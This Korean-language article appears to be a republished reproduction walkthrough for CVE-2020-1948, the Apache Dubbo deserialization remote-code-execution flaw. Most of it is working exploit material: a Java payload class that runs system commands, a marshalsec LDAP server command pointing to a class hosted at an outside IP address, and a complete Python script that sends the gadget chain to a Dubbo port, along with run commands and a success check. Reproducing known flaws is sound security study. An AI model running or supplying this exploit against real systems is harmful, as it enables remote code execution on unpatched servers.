Dubbo는 Alibaba가 제공하는 고성능, 우수한 서비스 오픈소스 프레임워크로, 애플리케이션이 고성능 RPC를 통해 서비스 출력 및 입력 기능을 실현할 수 있도록 하며 Spring 프레임워크와 원활하게 통합될 수 있습니다. 시스템에는 원격 인터페이스 메소드 호출, 지능형 내결함성 및 로드 밸런싱, 자동 등록 및 서비스 검색을 포함한 세 가지 핵심 기능이 있습니다.
2020년 6월 23일 Apache Dubbo는 Apache Dubbo 원격 코드 실행에 대한 위험 공지를 공식 발표했습니다. 취약점 번호는 CVE-2020-1948이며 취약점 수준은 높음입니다. Apache Dubbo는 인터페이스 지향 원격 메소드 호출, 지능형 내결함성 및 로드 밸런싱, 자동 서비스 등록 및 검색이라는 세 가지 핵심 기능을 제공하는 경량의 고성능 오픈 소스 Java RPC 프레임워크입니다. Apache Dubbo Provider에는 역직렬화 취약점이 있습니다. 공격자는 RPC 요청을 통해 인식할 수 없는 서비스 이름이나 메서드 이름 및 일부 악성 매개변수 페이로드를 보낼 수 있으며, 악성 매개변수가 역직렬화되면 원격 코드가 실행될 수 있습니다.
Dubbo 2.7.0 - 2.7.6 Dubbo 2.6.0 - 2.6.7 Dubbo 2.5.x(공식적으로 더 이상 유지 관리되지 않음)
실행 환경과 컴파일 exp 환경 jdk 버전은 모두 8u121입니다. , 테스트 환경을 시작합니다
java -jar dubbo.jar
시작 후 포트 12345
서비스 지문:
PORT STATE SERVICE VERSION12345/tcp opentextui Alibaba Dubbo remoting telnetd
여기에서 ping 명령을 실행하여 명령이 실행되는지 확인합니다. 실행되고 새로운 calc.java를 생성합니다.
importjavax.naming.Context; importjavax.naming.Name; importjavax.naming.spi.ObjectFactory; importjava.util.Hashtable; publicclasscalc implementsObjectFactory{@OverridepublicObjectgetObjectInstance(Objectobj,Namename,ContextnameCtx,Hashtable<?,?>environment)throwsException{Runtime.getRuntime().exec("ping test.sr3uwk.ceye.io"); returnnull; }}
컴파일 poc
javac calc.java
컴파일된 poc(calc.class)를 웹 웹사이트 디렉토리에 넣어 취약한 호스트가 접근할 수 있도록 하세요. marshalsec 프로젝트를 사용하여 ldap 프록시 서비스를 시작하고 marshalsec을 다운로드합니다.
https://github.com/RandomRobbieBF/marshalsec-jar/raw/master/marshalsec-0.0.3-SNAPSHOT-all.jar
LDAP 프록시 서비스를 시작합니다. 이 명령을 실행하면 ldap 서비스가 포트 8086
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServerhttp://139.9.198.30/#calc 8086
테스트를 실행합니다. 여기서 테스트에 사용된 Python 환경은 3.8.0입니다. 먼저 종속성 패키지를 설치하세요
python3 -m pip install dubbo-py
스크립트 내용(Dubbo.py):
# -*- coding: utf-8 -*-importsysfromdubbo.codec.hessian2 importDecoder,new_objectfromdubbo.client importDubboClientiflen(sys.argv)<4:print('Usage: python {} DUBBO_HOST DUBBO_PORT LDAP_URL'.format(sys.argv[0]))print('\nExample:\n\n- python {} 1.1.1.1 12345 ldap://1.1.1.6:80/exp'.format(sys.argv[0]))sys.exit()client =DubboClient(sys.argv[1],int(sys.argv[2]))JdbcRowSetImpl=new_object('com.sun.rowset.JdbcRowSetImpl',dataSource=sys.argv[3],strMatchColumns=["foo"])JdbcRowSetImplClass=new_object('java.lang.Class',name="com.sun.rowset.JdbcRowSetImpl",)toStringBean=new_object('com.rometools.rome.feed.impl.ToStringBean',beanClass=JdbcRowSetImplClass,obj=JdbcRowSetImpl )resp =client.send_request_and_return_response(service_name='org.apache.dubbo.spring.boot.sample.consumer.DemoService',# 此处可以是 $invoke、$invokeSync、$echo 等,通杀 2.7.7 及 CVE 公布的所有版本。method_name='$invoke',args=[toStringBean])output =str(resp)if'Fail to decode request due to: RpcInvocation'inoutput:print('[!] Target maybe not support deserialization.')elif'EXCEPTION: Could not complete class com.sun.rowset.JdbcRowSetImpl.toString()'inoutput:print('[+] Succeed.')else:print('[!] Output:')print(output)print('[!] Target maybe not use dubbo-remoting library.')
스크립트 실행
python3 Dubbo.py 192.168.137.17312345ldap://139.9.198.30:8086/calc
dnslog 뷰, 성공적으로 요청 수신
ldap 서비스에서도 요청 전달을 볼 수 있습니다Bomb Calculator
import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.util.Hashtable; public class calc implements ObjectFactory { @Override public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception { Runtime.getRuntime().exec("calc"); return null; } }
https://github.com/apache/dubbo/pull/6374/commits/8fcdca112744d2cb98b349225a4aab365af563de
위 내용은 Apache Dubbo 역직렬화 취약점을 분석하는 방법의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!